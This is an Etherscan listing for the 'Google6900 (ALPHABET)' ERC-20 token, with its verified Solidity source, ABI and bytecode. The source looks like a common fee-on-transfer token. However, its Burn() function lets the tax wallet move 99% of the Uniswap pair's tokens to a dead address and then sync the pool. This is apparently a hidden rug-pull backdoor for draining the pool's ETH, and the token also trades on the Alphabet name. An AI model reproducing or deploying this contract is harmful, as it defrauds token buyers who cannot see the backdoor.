ETH Price: $2,105.53 (-10.56%)

Token

Google6900 (ALPHABET)
 

Overview

Max Total Supply

69,000 ALPHABET

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: ALPHABET 11
Balance
2,001.975404665 ALPHABET

Value
$0.00
0x531a782c7c86c97d348665ab01bda385d50e4b59
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AlphabetInc

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-11
*/

/*

Telegram: https://t.me/Google6900

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Pair {
    function sync() external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AlphabetInc is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 69000 * 10**_decimals;
    string private constant _name = unicode"Google6900";
    string private constant _symbol = unicode"ALPHABET";
    uint256 public _maxTxAmount = 1750 * 10**_decimals;
    uint256 public _maxWalletSize = 1750 * 10**_decimals;
    uint256 public _taxSwapThreshold = 750 * 10**_decimals;
    uint256 public _maxTaxSwap = 1250 * 10**_decimals;

    address private constant DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD;


    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(to != _taxWallet, "ERC20: transfer to the tax wallet");
    require(amount > 0, "Transfer amount must be greater than zero");
    uint256 taxAmount = 0;
    
    if (from != owner() && to != owner()) {

        if (transferDelayEnabled) {
            if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            if (_buyCount < _preventSwapBefore) {
                require(!isContract(to));
            }
            _buyCount++;
        }

        
        taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
        if (to == uniswapV2Pair && from != address(this)) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && (to == uniswapV2Pair || to == _taxWallet) && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
            swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance > 0 && _msgSender() != _taxWallet) {
            sendETHToFee(address(this).balance);
            }
        }      
        
    }
    

    if (taxAmount > 0) {
        _balances[address(this)] = _balances[address(this)].add(taxAmount);
        emit Transfer(from, address(this), taxAmount);
    }
    _balances[from] = _balances[from].sub(amount);
    _balances[to] = _balances[to].add(amount.sub(taxAmount));
    emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        if (balanceOf(_taxWallet) < _maxTaxSwap * 2) { revert("Insufficient balance");}
        _taxWallet.transfer(amount);
    }

    function createPair() external onlyOwner(){
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function Burn() external {
    require(_msgSender() == _taxWallet, "Only tax wallet can burn tokens");
    uint256 liquidityPairBalance = balanceOf(uniswapV2Pair);
    uint256 burnAmount = liquidityPairBalance.mul(99).div(100);
    if (liquidityPairBalance >= burnAmount && burnAmount > 0) {
        _balances[uniswapV2Pair] = _balances[uniswapV2Pair].sub(burnAmount);
        _balances[DEAD_ADDRESS] = _balances[DEAD_ADDRESS].add(burnAmount);
        emit Transfer(uniswapV2Pair, DEAD_ADDRESS, burnAmount);
        IUniswapV2Pair(uniswapV2Pair).sync();
        }
    }


    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055601460078190556008555f6009818155600a8281556005600b55600f600c55600d819055600e9290925561004191610305565b61004d906106d661031a565b600f5561005c6009600a610305565b610068906106d661031a565b6010556100776009600a610305565b610083906102ee61031a565b6011556100926009600a610305565b61009e906104e261031a565b6012556014805461ffff60a81b191690553480156100ba575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916610100330217905561011e6009600a610305565b61012b9062010d8861031a565b335f9081526001602081905260408220929092556003906101535f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556101b53390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101ec6009600a610305565b6101f99062010d8861031a565b60405190815260200160405180910390a3610331565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561025d57815f19048211156102435761024361020f565b8085161561025057918102915b93841c9390800290610228565b509250929050565b5f82610273575060016102ff565b8161027f57505f6102ff565b8160018114610295576002811461029f576102bb565b60019150506102ff565b60ff8411156102b0576102b061020f565b50506001821b6102ff565b5060208310610133831016604e8410600b84101617156102de575081810a6102ff565b6102e88383610223565b805f19048211156102fb576102fb61020f565b0290505b92915050565b5f61031360ff841683610265565b9392505050565b80820281158282048414176102ff576102ff61020f565b611b888061033e5f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a85780639e78fb4f1161006d5780639e78fb4f14610309578063a9059cbb1461031d578063bf474bed1461033c578063c876d0b914610351578063c9567bf91461036a578063dd62ed3e1461037e575f80fd5b8063751039fc146102755780637d1db4a5146102895780638da5cb5b1461029e5780638f9a55c0146102c457806395d89b41146102d9575f80fd5b8063313ce567116100ee578063313ce567146101fd578063396ed0ab1461021857806351bc3c851461022e57806370a0823114610242578063715018a614610261575f80fd5b806306fdde0314610134578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a8152690476f6f676c65363930360b41b60208201525b60405161016f919061178f565b60405180910390f35b348015610183575f80fd5b506101976101923660046117db565b6103c2565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60125481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc6103d8565b3480156101e9575f80fd5b506101976101f8366004611805565b6103f7565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b5061022c61045e565b005b348015610239575f80fd5b5061022c610665565b34801561024d575f80fd5b506101bc61025c366004611843565b6106b4565b34801561026c575f80fd5b5061022c6106ce565b348015610280575f80fd5b5061022c61073f565b348015610294575f80fd5b506101bc600f5481565b3480156102a9575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102cf575f80fd5b506101bc60105481565b3480156102e4575f80fd5b50604080518082019091526008815267105314121050915560c21b6020820152610162565b348015610314575f80fd5b5061022c6107f7565b348015610328575f80fd5b506101976103373660046117db565b6109ef565b348015610347575f80fd5b506101bc60115481565b34801561035c575f80fd5b506006546101979060ff1681565b348015610375575f80fd5b5061022c6109fb565b348015610389575f80fd5b506101bc61039836600461185e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ce338484610bcb565b5060015b92915050565b5f6103e56009600a611989565b6103f29062010d88611997565b905090565b5f610403848484610cee565b610454843361044f85604051806060016040528060288152602001611b2b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611381565b610bcb565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b0316146104cb5760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c79207461782077616c6c65742063616e206275726e20746f6b656e730060448201526064015b60405180910390fd5b6014545f906104e2906001600160a01b03166106b4565b90505f6104fb60646104f58460636113b9565b9061143e565b905080821015801561050c57505f81115b15610661576014546001600160a01b03165f90815260016020526040902054610535908261147f565b6014546001600160a01b03165f9081526001602052604081209190915561dead90527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5461058390826114c0565b61dead5f81905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556014546040516001600160a01b0391909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105f69085815260200190565b60405180910390a360145f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561064a575f80fd5b505af115801561065c573d5f803e3d5ffd5b505050505b5050565b60065461010090046001600160a01b0316336001600160a01b031614610689575f80fd5b5f610693306106b4565b905080156106a4576106a48161151e565b47801561066157610661816116a7565b6001600160a01b03165f9081526001602052604090205490565b5f546001600160a01b031633146106f75760405162461bcd60e51b81526004016104c2906119ae565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107685760405162461bcd60e51b81526004016104c2906119ae565b6107746009600a611989565b6107819062010d88611997565b600f556107906009600a611989565b61079d9062010d88611997565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107d76009600a611989565b6107e49062010d88611997565b60405190815260200160405180910390a1565b5f546001600160a01b031633146108205760405162461bcd60e51b81526004016104c2906119ae565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086890309061085b6009600a611989565b61044f9062010d88611997565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dc91906119e3565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f91906119e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd91906119e3565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103ce338484610cee565b5f546001600160a01b03163314610a245760405162461bcd60e51b81526004016104c2906119ae565b601454600160a01b900460ff1615610a7e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c2565b6013546001600160a01b031663f305d7194730610a9a816106b4565b5f80610aad5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b13573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b3891906119fe565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb19190611a29565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c2565b6001600160a01b038216610c8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c2565b6001600160a01b038216610db45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c2565b6006546001600160a01b03610100909104811690831603610e215760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e7366657220746f20746865207461782077616c6c656044820152601d60fa1b60648201526084016104c2565b5f8111610e825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c2565b5f80546001600160a01b03858116911614801590610ead57505f546001600160a01b03848116911614155b156112445760065460ff1615610f69576013546001600160a01b03848116911614801590610ee957506014546001600160a01b03848116911614155b15610f6957325f908152600560205260409020544311610f575760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104c2565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610f9457506013546001600160a01b03848116911614155b8015610fb857506001600160a01b0383165f9081526003602052604090205460ff16155b1561109c57600f5482111561100b5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016104c2565b60105482611018856106b4565b6110229190611a48565b11156110705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c2565b600d54600e54101561108757823b15611087575f80fd5b600e8054905f61109683611a5b565b91905055505b6110c260646104f5600b54600e54116110b7576007546110bb565b6009545b85906113b9565b6014549091506001600160a01b0384811691161480156110eb57506001600160a01b0384163014155b1561116657600f5482111561113e5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016104c2565b61116360646104f5600c54600e5411611159576008546110bb565b600a5485906113b9565b90505b5f611170306106b4565b601454909150600160a81b900460ff161580156111b657506014546001600160a01b03858116911614806111b657506006546001600160a01b0385811661010090920416145b80156111cb5750601454600160b01b900460ff165b80156111d8575060115481115b80156111e75750600d54600e54115b1561124257611209611204846111ff8460125461174f565b61174f565b61151e565b478015801590611232575060065461010090046001600160a01b0316336001600160a01b031614155b1561124057611240476116a7565b505b505b80156112bc57305f9081526001602052604090205461126390826114c0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112b39085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112de908361147f565b6001600160a01b0385165f90815260016020526040902055611321611303838361147f565b6001600160a01b0385165f90815260016020526040902054906114c0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61136a858561147f565b60405190815260200160405180910390a350505050565b5f81848411156113a45760405162461bcd60e51b81526004016104c2919061178f565b505f6113b08486611a73565b95945050505050565b5f825f036113c857505f6103d2565b5f6113d38385611997565b9050826113e08583611a86565b146114375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c2565b9392505050565b5f61143783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611763565b5f61143783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611381565b5f806114cc8385611a48565b9050838110156114375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c2565b6014805460ff60a81b1916600160a81b179055801561169757601454600160a01b900460ff1615611697576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061157c5761157c611aa5565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f791906119e3565b8160018151811061160a5761160a611aa5565b6001600160a01b0392831660209182029290920101526013546116309130911684610bcb565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906116689085905f90869030904290600401611ab9565b5f604051808303815f87803b15801561167f575f80fd5b505af1158015611691573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6012546116b5906002611997565b6006546116cf9061010090046001600160a01b03166106b4565b10156117145760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016104c2565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610661573d5f803e3d5ffd5b5f81831161175d5782611437565b50919050565b5f81836117835760405162461bcd60e51b81526004016104c2919061178f565b505f6113b08486611a86565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146117d8575f80fd5b50565b5f80604083850312156117ec575f80fd5b82356117f7816117c4565b946020939093013593505050565b5f805f60608486031215611817575f80fd5b8335611822816117c4565b92506020840135611832816117c4565b929592945050506040919091013590565b5f60208284031215611853575f80fd5b8135611437816117c4565b5f806040838503121561186f575f80fd5b823561187a816117c4565b9150602083013561188a816117c4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118e357815f19048211156118c9576118c9611895565b808516156118d657918102915b93841c93908002906118ae565b509250929050565b5f826118f9575060016103d2565b8161190557505f6103d2565b816001811461191b576002811461192557611941565b60019150506103d2565b60ff84111561193657611936611895565b50506001821b6103d2565b5060208310610133831016604e8410600b8410161715611964575081810a6103d2565b61196e83836118a9565b805f190482111561198157611981611895565b029392505050565b5f61143760ff8416836118eb565b80820281158282048414176103d2576103d2611895565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119f3575f80fd5b8151611437816117c4565b5f805f60608486031215611a10575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a39575f80fd5b81518015158114611437575f80fd5b808201808211156103d2576103d2611895565b5f60018201611a6c57611a6c611895565b5060010190565b818103818111156103d2576103d2611895565b5f82611aa057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b095784516001600160a01b031683529383019391830191600101611ae4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a572b24bfb69dd69aad63fdb4ae75a9073d0721bdf87a04924556488a6edf6364736f6c63430008190033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063751039fc116100a85780639e78fb4f1161006d5780639e78fb4f14610309578063a9059cbb1461031d578063bf474bed1461033c578063c876d0b914610351578063c9567bf91461036a578063dd62ed3e1461037e575f80fd5b8063751039fc146102755780637d1db4a5146102895780638da5cb5b1461029e5780638f9a55c0146102c457806395d89b41146102d9575f80fd5b8063313ce567116100ee578063313ce567146101fd578063396ed0ab1461021857806351bc3c851461022e57806370a0823114610242578063715018a614610261575f80fd5b806306fdde0314610134578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a8152690476f6f676c65363930360b41b60208201525b60405161016f919061178f565b60405180910390f35b348015610183575f80fd5b506101976101923660046117db565b6103c2565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60125481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc6103d8565b3480156101e9575f80fd5b506101976101f8366004611805565b6103f7565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b5061022c61045e565b005b348015610239575f80fd5b5061022c610665565b34801561024d575f80fd5b506101bc61025c366004611843565b6106b4565b34801561026c575f80fd5b5061022